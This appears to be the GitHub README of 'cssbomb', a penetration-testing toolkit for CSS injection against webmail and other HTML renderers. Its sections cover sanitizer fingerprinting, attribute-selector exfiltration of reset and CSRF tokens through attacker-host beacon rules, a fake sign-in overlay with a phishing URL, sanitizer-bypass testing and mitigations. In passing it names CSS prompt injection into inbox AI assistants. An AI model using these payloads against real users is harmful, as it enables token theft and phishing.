Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

cssbomb — CSS injection security testing toolkit

A CSS-only exploitation and sanitizer-testing framework for applications that render untrusted HTML. Fingerprint which CSS features survive a client's HTML sanitizer, then demonstrate CSS attribute-selector data exfiltration, full-page UI redress (clickjacking), and sanitizer bypasses — with no JavaScript at all.

Built for webmail, ticketing systems, CRM notes, wikis, and server-side HTML-to-PDF pipelines.

Python 3.11+ No dependencies Authorized use only

Authorized engagements only. Delivery is gated in code on a recorded authorization reference and an exact-match recipient allowlist. See Rules of engagement.


Credit and prior research

This tool is an implementation of publicly documented research. It is not original vulnerability research — the techniques it automates were discovered and published by others, and the credit belongs to them.

Primary source: “CSS: the bomb inside your inbox” by Gareth Heyes, PortSwigger Research.

That research is the basis for the methodology this tool implements: that stripping JavaScript from untrusted HTML is not sufficient, because CSS alone provides token exfiltration, keylogging, full-page UI redress, and indirect prompt injection into any AI assistant reading the inbox. If you find this tool useful, read the original write-up first — it explains the why that this README only summarizes.

CSS attribute-selector exfiltration and CSS-based keylogging have a longer lineage in the web security community predating that article; the PortSwigger write-up is credited here as the direct source for this tool's methodology, probe taxonomy, and module breakdown, not as the origin of every primitive it uses.

The de Bruijn / Eulerian path reconstruction in cssbomb/exfil/reconstruct.py is a standard sequence-assembly technique from bioinformatics, applied here to the n-gram sets a single CSS render leaks.


Table of contents


What this is

Apps strip JavaScript from untrusted HTML and stop there. But CSS alone gives an attacker token exfiltration, keylogging, full-page UI redress, and prompt injection into any assistant reading the inbox. The root cause is always the same: the sanitizer's model of the CSS differs from what the browser's CSSOM actually computes.

cssbomb implements that methodology in three layers:

Layer What it does Command
Capability oracle One message with ~49 independent probes reports exactly which CSS features survive a given client's sanitizer cssbomb oraclecssbomb matrix
Exploitation modules Attribute-selector exfiltration with n-gram reconstruction; full-page UI redress cssbomb exfil, cssbomb overlay
Offline sanitizer lab 43 mutations of the same sink through DOMPurify / sanitize-html and real headless Chrome cssbomb lab

Everything depends on the oracle. Sending a blind exploit payload at a client you have not fingerprinted just burns a message. The capability matrix is the reusable asset — build it once per client version and it drives scoping for years.

What makes this different from a payload list

Every verdict in this tool is three-valued, and the third value is the point. A silent probe can mean the client blocked the feature, or that remote images were never enabled, or that a prerequisite failed, or that the element never painted. Reporting the second case as "hardened" is how you write a finding-free report about a vulnerable client. Every non-client cause of silence has a dedicated canary, and when a canary is silent the affected verdicts are downgraded automatically rather than reported as hardening.

Ground truth is whether the browser actually requested the URL, not whether a string survived a sanitizer. Payloads are validated by rendering in real headless Chrome, because every measurement bug found while building this was invisible to synthetic tests and obvious the moment a browser touched the payload.

Install

Python 3.11+, no runtime dependencies.

git clone https://github.com/l0lsec/cssbomb.git
cd cssbomb
python3 -m cssbomb selftest

Optionally pip install -e . for a cssbomb entry point. Everything below works as python3 -m cssbomb either way.

Optional, for the sanitizer lab only:

npm install dompurify jsdom sanitize-html

Quickstart

cssbomb init acme-q3 \
  --authorization "SOW-1234 signed 2026-08-01, contact: Dana Reyes (dana@client.tld)" \
  --base https://beacon.yourdomain.tld \
  --allow tester@client.tld
cssbomb collect -e acme-q3 --port 443 --tls-cert fullchain.pem --tls-key key.pem
cssbomb oracle -e acme-q3 --send smtp --to tester@client.tld

Open the message in the target client, enable remote images, scroll to the last row, keep the window in the foreground, and screenshot it. Then:

cssbomb matrix -e acme-q3

No SMTP? Build without sending and paste the HTML into the target's compose or comment field yourself, then record it so the cleanup list stays complete:

cssbomb oracle -e acme-q3 --send manual --target "support ticket #4471"

--port 443 above needs root or the equivalent capability; for anything but the production collector use the default --port 8443 and front it with a proxy.

Try it locally

Kick the tires without a real target, using a loopback collector:

python3 -m cssbomb init demo \
  --authorization "local demo, not a real engagement" \
  --base http://127.0.0.1:8080 \
  --allow tester@example.invalid

In one terminal:

python3 -m cssbomb collect -e demo --host 127.0.0.1 --port 8080

In another, build a payload and open it in your default browser. The overlay is safe — no credential capture, and the visible authorization banner says so:

python3 -m cssbomb overlay build -e demo --phish-url https://attacker.example/x
open "$(ls -t ~/.cssbomb/engagements/demo/messages/overlay-*.html | head -1)"

The collector terminal prints a hit line for every beacon fired. Move your mouse over the fake sign-in card and click; you should see hover-* and click beacons come in live. Then:

python3 -m cssbomb overlay solve -e demo

Should read VALID with all four corners hit. The mixed-content warning about plain http is normal — it only matters when the payload runs inside a real https client.

Reading the matrix

Each exploitation module (exfil, overlay) has its own three-valued verdicts and reports; see Exfiltration and Full-page UI redress. The matrix statuses below apply to cssbomb matrix specifically.

Statuses are deliberately three-valued. Reporting an INCONCLUSIVE probe as "hardened" is how you write a finding-free report about a vulnerable client.

Status Meaning
SUPPORTED the beacon fired; the feature survived and applied
BLOCKED silent, with every prerequisite met and every canary green
INCONCLUSIVE silent for a reason that is not the client
FIRED (CONTROL) a control fired; the run is invalid

Silence has four causes and only one is "the client blocks it." Each of the other three has a canary, and when a canary is silent every BLOCKED verdict in the run is downgraded to INCONCLUSIVE rather than reported as hardening:

  1. Remote fetching was never enabled. Root probe img-tag. Most mail clients block remote images until the user clicks "show images."
  2. A prerequisite failed. Probes declare dependencies, so a silent attr-substr under a stripped <style> block reports INCONCLUSIVE, not BLOCKED.
  3. The element never painted. Canary scroll-canary, the last row. Several url()-bearing properties, border-image among them, only fetch when the element actually paints, so an unscrolled message reads as a hardened one.
  4. The window was not visible. Canary vw-1, the 1px rung of the viewport ladder, which matches any non-zero containing box. Engines throttle animations and never satisfy min-width queries in a hidden or minimized window.

Plus two per-probe cases: interaction probes (hover, cursor) need manual hovering, and engine_note probes are unsupported by some engines regardless of the sanitizer (filter-url cannot fire in Chromium at all).

Controls

Three controls must never fire. If any does, something fetched beacon URLs without matching selectors, which means a prefetching image proxy or a link scanner is in the path and no selector-conditional conclusion from that run is trustworthy:

  • control-nomatch — a selector that cannot match
  • control-unreferenced — a URL that appears only in an HTML comment
  • control-unused-var — a custom property no var() consumes

Without these you will report gateway fetches as client capabilities.

Scope

vw-* measures the containing box, not the window. Compare the widest firing rung against the real window width in your screenshot: a large gap means the message is boxed into an iframe or a narrow reading pane, which limits cross-document reach. scope-* proves a selector matched an ancestor of the message, which for html/body is satisfied by the message's own document even inside an iframe.

The collector must serve HTTPS

Webmail runs over https, so http beacons are blocked as mixed content and every probe reads as unsupported. cssbomb init and oracle warn about this; a loopback base blocks delivery outright, since sending a message whose beacons cannot arrive burns a send and teaches you nothing.

Use --tls-cert/--tls-key, or front the collector with a proxy and pass --trust-proxy so the client IP comes from X-Forwarded-For.

Rules of engagement

Gates are code, not discipline:

  • Authorization required. No authorization string recorded, no delivery.
  • Exact-match recipient allowlist. No wildcards, no domain globs.
  • Credentials from the environment only. $CSSBOMB_SMTP_PASS, never written to the engagement file.
  • Interactive confirmation. Sending requires retyping the engagement name, or an explicit --yes. A non-interactive session without --yes refuses.
  • Cleanup list. Every delivery is logged. cssbomb burn stops the collector and prints everything you need to undo before the engagement closes.

Engagement data lives outside the repo, under ~/.cssbomb or $CSSBOMB_HOME, because it holds recovered secrets, recipient addresses and authorization references.

Exfiltration

a[href*="ab"]{background-image:url(BEACON)} fetches exactly when the substring ab occurs in an href. Emit one rule per n-gram over the token alphabet, render once, and rebuild the value from the set of beacons that fired. Targets are attributes in the same authenticated document the payload rendered into: a[href] (reset, magic-link, invite tokens), input[value] (CSRF tokens, account ids), meta[content], img[src].

Three commands, in order. plan and build never contact a target.

cssbomb exfil plan -e acme-q3 --alphabet hex --length 32 --k 2 --k 3 --k 4
cssbomb exfil build -e acme-q3 --attr href --element a \
  --prefix "https://client.tld/reset?t=" --alphabet hex --k 3 --length 32
cssbomb exfil solve -e acme-q3

Plan before you build

The payload is delivered once, and a k chosen too small yields an ambiguous candidate set that no amount of offline work can sharpen. plan simulates thousands of random tokens of the right shape and prints what each k would actually recover, next to what it costs in rules (|alphabet|^k interior plus 2·|alphabet| anchors):

Alphabet k Rules P(unique) for a 32-char token
hex 2 288 ~0%
hex 3 4128 ~78%
hex 4 65568 ~99% (over the rule ceiling)
base62 2 3968 ~3%
base62 3 238452 over the ceiling

Builds above ~20k rules are refused with the number and a pointer back at plan; raise it with --rule-ceiling only if you know the client will take it.

Presence, not multiplicity

This is the constraint the whole module is shaped around. CSS reports that a gram is present, never how many times it occurs. [href*="ab"] fires once whether ab appears once or five times, so a repeated k-gram collapses two edges into one and the true walk is no longer recoverable from the observed set alone.

So the output is always a ranked candidate set, never a single answer, and nothing in the measurement ranks its members — the report says so rather than letting the first line read as the token. When --length is known, a short reconstruction is proof that a repeat collapsed: enumeration switches from "use every gram exactly once" to "walk exactly this many characters and use every observed gram at least once", which puts the true value back in the set at the cost of more candidates. Narrow what is left offline against the token's real format or checksum, or re-run with a larger k.

Partial recovery is a finding. A confirmed first character already demonstrates that CSS with no JavaScript read an attribute out of a different element in the authenticated document. The full value changes the severity, not the class.

The cascade decides the payload's shape

The naive spelling does not work, and nothing in its text says so:

a[href*="3f9"]{background-image:url(...)}   /* x 4096 */

Thirty of those rules match a 32-character token at the same time, on the same element, setting the same property. Last declaration wins, so one beacon fires and twenty-nine observations are lost. A string-level test cannot see it.

The default has mode therefore never puts a beacon on the victim's element. It gives each gram its own attacker-owned 3px box and asks the question with :has():

html:has(a[href^="https://client.tld/reset?t="][href*="3f9"]) .xn17{background-image:url(...)}

4096 rules, 4096 independent boxes, nothing competing. The cost is a prerequisite: has must be SUPPORTED in the client's capability matrix. When it is not, --direct falls back to emitting only the families whose members are mutually exclusive — start anchors on ::before, end anchors on ::after, presence on the element's own background — and deliberately emits no interior grams. That recovers the first character, the last character and presence, which is already reportable.

Every rule also carries the known prefix as a guard ([href^="PREFIX"][href*="g"]). Without it, one unrelated link on the page contributes grams to the graph and the reconstruction quietly assembles two values into one. Grams that lie inside the prefix itself fire regardless of the secret; they are computed at build time and subtracted at solve time.

Reading a solve

Same three-valued discipline as the matrix, and for the same reason — a silent run has more than one cause:

Status Meaning
VALID controls silent, payload painted, prefix present; the gram set means what it looks like
INVALID a control fired. A proxy that prefetches every gram URL forges a complete recovery out of a page with no secret on it, so nothing is reconstructed
NOT-PRESENT the payload painted but no element carries the prefix. A scoping result, not a hardening result
INCONCLUSIVE the unconditional paint canary never fired: no remote fetching, or the message was never opened

Recovered values are redacted by default — a hash plus first and last four. --reveal prints them in full and writes an evidence bundle at mode 600, and is gated on the engagement's authorization record. Nothing unredacted reaches runs.jsonl.

Delivery is the same three-way choice as the oracle:

cssbomb exfil build -e acme-q3 --prefix "..." --alphabet hex --k 3 \
  --send smtp --to tester@client.tld --yes
cssbomb exfil build -e acme-q3 --prefix "..." --alphabet hex --k 3 \
  --send manual --target "ticket #4471"
cssbomb exfil build -e acme-q3 --prefix "..." --alphabet hex --k 3
                                # write files only, deliver by hand

Full-page UI redress

position:fixed with viewport dimensions escapes the message container and covers the entire client UI. The whole overlay is wrapped in one <a> so a single click is one navigation. No JavaScript.

Prerequisite: fixed must be SUPPORTED in the client's capability matrix. Phase 1 already answers whether it can escape; overlay is the payload that demonstrates the exploit on top of that answer.

cssbomb overlay build -e acme-q3 \
  --phish-url https://attacker-controlled.tld/collect \
  --brand "Acme Portal"
cssbomb overlay solve -e acme-q3

Beacons measure what a screenshot cannot — that the victim actually engaged:

Signal What it proves
paint the overlay's own <a> box rendered
reach-tl/tr/bl/br the fixed box reached each of the four viewport corners. Silence on a corner narrows down where the message container clipped the overlay
hover-surface/input/button the victim moved their mouse across the fake surface
click mousedown fired on the Continue button — the credential submit landed
control-nomatch, control-unref prefetch tripwires; must never fire

Same three-valued discipline as the matrix and exfil:

Status Meaning
VALID controls silent and the paint canary fired; everything below is real
INVALID a control fired. Every conclusion about painting, coverage or interaction is unsafe — a prefetch proxy produces the same beacon signature as a fully successful clickjack
INCONCLUSIVE paint canary silent. The overlay never rendered, or remote fetching was never enabled; coverage and interaction are meaningless without paint

Severity escalates automatically in the report: paint alone is capability, hover proves a victim looked, click proves they touched. No credential capture. The rules of engagement in this repo prohibit it from this module; select-keylog is the module that owns typing and is separately opt-in.

The fake sign-in card behaves like a real login form:

  • Username and password are real <input> elements. Clicking them focuses the field and the victim can type into it. Nothing is captured — the overlay is CSS-only, no JavaScript runs.
  • The "Continue" button is the only element that navigates. It is an <a> carrying --phish-url; a click on it sends the victim to that URL.
  • The root of the overlay is a plain <div>, not an <a>. Wrapping the whole overlay in an anchor sounds like clean clickjack but breaks the demo: click events bubble up regardless of what they hit, so a click on a form field would navigate instead of focusing. The button-only anchor keeps the navigation path deliberate.

The click beacon fires on .cbo-btn:active — the mousedown that would have submitted credentials on a real page, and the mousedown that actually navigates here. Hover, corners and paint measure the rest of the surface.

The visible banner and --no-banner

By default the overlay carries a small "Authorized security test (engagement)" banner in the bottom-left corner. It exists so a demo audience — anyone the client's IT team walks through the finding, anyone auditing message content after the fact — can see immediately that the surface is not a real login prompt. It is deliberate friction, not a bug.

For engagements where the payload has to look indistinguishable from a real attack (executive-level phishing simulations, click-through rate measurement), pass --no-banner:

cssbomb overlay build -e acme-q3 --no-banner --phish-url https://...

The flag requires an authorization reference on the engagement (delivery already does), and the build prints a stderr warning naming what was suppressed. The HTML source always carries an <!-- cssbomb overlay: ... --> comment with the same authorization text, so a post-facto audit of the stored message can still identify the payload. The suppression is only against a live human viewer, not against a content auditor.

Delivery is the same three-way choice as the oracle:

cssbomb overlay build -e acme-q3 --send smtp --to tester@client.tld --yes
cssbomb overlay build -e acme-q3 --send manual --target "ticket #4471"
cssbomb overlay build -e acme-q3           # write files only, deliver by hand

The offline lab

cssbomb lab never touches a target. It runs a corpus of 43 mutations, all of them different spellings of the same sink, through a sanitizer and then through real headless Chrome, and reports which spellings survived. Bypasses get developed and regression-tested between engagements instead of during one.

cssbomb lab --list                       # renderer + which sanitizers are installed
cssbomb lab                              # every available sanitizer
cssbomb lab --sanitizer naive-regex --format md --out lab.md

Two reference sanitizers ship with the tool and need nothing installed: naive-regex models a hand-rolled regex allowlist (and fails the way those fail), allowlist-strict models a correct parse-first implementation. Node adapters for dompurify and sanitize-html activate once those packages resolve:

npm install dompurify jsdom sanitize-html

Verdicts

Ground truth is whether the browser actually requested the URL, not whether a string survived a sanitizer. Two measurements produce four verdicts:

sanitized fetched sanitized silent
raw fetched SURVIVED / BYPASS BLOCKED
raw silent n/a DEAD

BYPASS is SURVIVED plus one condition: the sanitizer blocks the canonical spelling of the same sink. Without that comparison, a sanitizer that simply permits background-image:url() lights up every row as a bypass, so any sanitizer whose baseline survives is reported as permissive and its rows are not bypasses. That check matters in practice: DOMPurify and sanitize-html configured to keep <style> and style= do not filter CSS at all, and would otherwise show 42 bypasses each.

DEAD is broken out from BLOCKED on purpose. A payload that passes a sanitizer but does not work in the engine is a wasted send.

Two measurement artifacts it corrects for

Both were found by rendering, and both would have produced silent false negatives across the whole corpus:

  • Paint gating. Several url()-bearing properties only fetch when the element paints, so the renderer forces a full paint with --screenshot and lays the corpus out as a compact grid that fits inside one viewport.
  • <style> hoisting. A leading <style> is hoisted into <head> by the HTML parser and then dropped by any fragment sanitizer that returns body content only. Every fragment is therefore prefixed with a benign node, raw and sanitized alike.

Chrome writes its screenshot and then never exits on at least some macOS builds, so the renderer waits on the artifact and on beacon quiescence rather than on process exit.

Commands

cssbomb init <name> [--authorization ...] [--base URL] [--allow ADDR]
cssbomb list | show -e <name> | probes
cssbomb collect -e <name> [--port N] [--tls-cert F --tls-key F] [--trust-proxy]
cssbomb oracle  -e <name> [--send none|smtp|manual] [--to ADDR] [--yes]
cssbomb matrix  -e <name> [--run ID] [--format text|md|json] [--out FILE]
cssbomb exfil plan  [--alphabet A] [--length N] [--k N ...] [--samples N]
cssbomb exfil build -e <name> [--attr href] [--element a] [--prefix STR]
                    [--alphabet A] [--k N] [--length N] [--no-anchors] [--direct]
                    [--rule-ceiling N] [--send none|smtp|manual] [--to ADDR] [--yes]
cssbomb exfil solve -e <name> [--run ID] [--length N] [--reveal]
                    [--format text|md|json] [--out FILE]
cssbomb overlay build -e <name> [--phish-url URL] [--brand STR] [--tagline STR]
                      [--button STR] [--notice STR] [--no-banner]
                      [--send none|smtp|manual] [--to ADDR] [--yes]
cssbomb overlay solve -e <name> [--run ID] [--format text|md|json] [--out FILE]
cssbomb hits    -e <name> [-f] [--tail N]
cssbomb lab     [--list] [--sanitizer NAME] [--chrome PATH] [--format text|md|json]
cssbomb burn    -e <name>
cssbomb selftest

Testing

cssbomb selftest stands up a real collector on a loopback port, builds a real oracle, replays five different client behaviours against it, and asserts the matrix draws the right conclusion each time: a normal render, a client that fetches nothing, an unscrolled message, a hidden window, and a prefetching proxy. It then checks the lab: corpus integrity, the verdict rule (including that a permissive sanitizer yields SURVIVED rather than a false BYPASS), CSS escape resolution, both reference sanitizers in each direction, and a Chrome end-to-end run that is skipped with a note when no browser is present.

The exfil checks follow the same split. The pure half asserts the reconstruction rules directly: round trips at k=2 and k=3, that anchors shrink the candidate set, that a hand-built repeat comes back flagged COLLAPSED with the true value still in the set, that a degenerate graph reports TRUNCATED rather than running away, and that P(unique) is monotone in k. The end-to-end half plants <a href="{prefix}{secret}"> next to the payload in one document, renders it in headless Chrome, and asserts the known secret comes back as the unique candidate with both anchors pinned and no control fired — also skipped with a note when no browser is present.

The overlay checks follow the same split. The structural half asserts the payload's shape: position:fixed with viewport dimensions, z-index below the 32-bit clamp, all four sensors nested inside the wrapping <a>, :hover and :active conditional fetches present, and every probe family carries its own beacon URL. The gate half replays each of the three-valued outcomes against a real collector — control fired (INVALID), silent paint (INCONCLUSIVE), paint-plus-one-corner (VALID with a partial-coverage note), and full coverage with hover and click (VALID with the severity line escalated). The end-to-end half plants the payload INSIDE a 180x180 overflow:hidden container and asserts the overlay escaped to all four viewport corners of a 1400x4000 window; skipped with a note when no browser is present.

It does not replace rendering in a real browser. A synthetic replay cannot see a cascade collision or a paint-gated fetch, and every payload bug found so far was found by rendering in Chromium and diffing the result against the matrix. The regressions for those bugs are asserted structurally: @import hoisting, per-probe element ownership, base-rule specificity, and an isolation guard that fails the build when two probes would paint into the same box.

FAQ

What is CSS injection?

CSS injection is when an application lets untrusted input reach a stylesheet or style attribute that a victim's browser will parse. Unlike XSS it does not require JavaScript to execute, so "we strip <script>" is not a mitigation. Attribute selectors ([href^="..."]) combined with a URL-loading property (background-image:url()) turn CSS into a conditional network request — which is enough to read data out of the page one character at a time.

Can CSS really steal data without JavaScript?

Yes. a[href*="ab"]{background-image:url(https://attacker/ab)} fires a request to the attacker only if the substring ab appears in a link on the page. Emit one rule per n-gram over the token's alphabet and a single render leaks the set of n-grams the secret contains; the value is then reassembled offline. See Exfiltration.

Does DOMPurify stop this?

Not by default. DOMPurify and sanitize-html configured to keep <style> and style= do not filter CSS at all — the offline lab reports them as permissive, and 42 of 43 mutations survive. They are HTML sanitizers; CSS filtering is a separate problem you have to solve separately. Run cssbomb lab --list to check your own configuration.

How do I fix CSS injection?

In priority order, per the original research:

  1. Render untrusted HTML in a sandboxed, cross-origin iframe. This kills most of the class at once and is the only fix worth leading with.
  2. Allowlist CSS properties, do not denylist. Include custom properties (--*) in the allowlist logic explicitly — var() substitution happens at computed-value time and reintroduces values a name-based denylist dropped.
  3. Block relational and state selectors: :has, :checked, :focus, :not, attribute selectors, sibling combinators.
  4. Strip <select> and other interactive form elements.
  5. Mandatory image proxy that prefetches at delivery time, plus block data: URLs. Render-conditional fetches then reveal nothing.
  6. Validate CSS keywords with strict character classes so escapes and comments cannot smuggle values past the parser.
  7. Audit client-side JS for CSS gadgets — attributes that reach style at runtime.

Is this legal to use?

Only against systems you are explicitly authorized to test. The tool enforces this in code: no delivery without a recorded authorization reference, exact-match recipient allowlist with no wildcards, interactive confirmation on send, and a cleanup list of everything you delivered. Those gates exist because a capability probe in a real customer's mailbox is an incident, not a finding. See Rules of engagement.

Does it capture credentials?

No. The overlay module renders a fake login surface to demonstrate UI redress, but nothing typed into it is captured — the payload is CSS-only and no JavaScript runs. Credential capture would require the select-keylog module (not yet built) plus a separate explicit authorization flag.

What clients does it work against?

That is the question the tool answers rather than assumes. Clients differ wildly, which is why Phase 1 is a capability oracle rather than a payload list. Build the matrix once per client version and it drives scoping for years.

Why headless Chrome?

Because a string surviving a sanitizer is not the same as a payload working. The lab measures whether the browser actually issued the request, which separates BLOCKED (sanitizer stopped it) from DEAD (sanitizer allowed it, engine ignored it). A payload that passes a sanitizer but does not work in the engine is a wasted send.

Status

Built: collector, Phase 1 oracle, capability matrix, delivery gating, cleanup, the offline sanitizer mutation lab, attr-exfil with n-gram reconstruction, and overlay for full-page UI redress.

Not built yet, in the order the spec recommends: select-keylog, divergence payloads, report emitter.

Contributing

Issues and pull requests welcome. python3 -m cssbomb selftest must pass; it stands up a real collector, replays client behaviours against it, and renders in headless Chrome where available. New payloads need a structural regression test and, where the behaviour is only visible in a real engine, a Chrome end-to-end.

License

MIT. See LICENSE.

Disclaimer

Provided for authorized security testing, defensive research, and education. Using it against systems you do not have written permission to test is illegal in most jurisdictions. The authors accept no liability for misuse.


Topics: css-injection · css-exfiltration · html-sanitizer · sanitizer-bypass · dompurify · penetration-testing · security-tools · webmail-security · clickjacking · ui-redress · attribute-selector · css-keylogger · offensive-security · appsec · bug-bounty · red-team · xss-alternative · cssom · data-exfiltration · python

About

CSS injection security testing toolkit: sanitizer capability fingerprinting, CSS attribute-selector exfiltration, and UI redress. Authorized engagements only.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages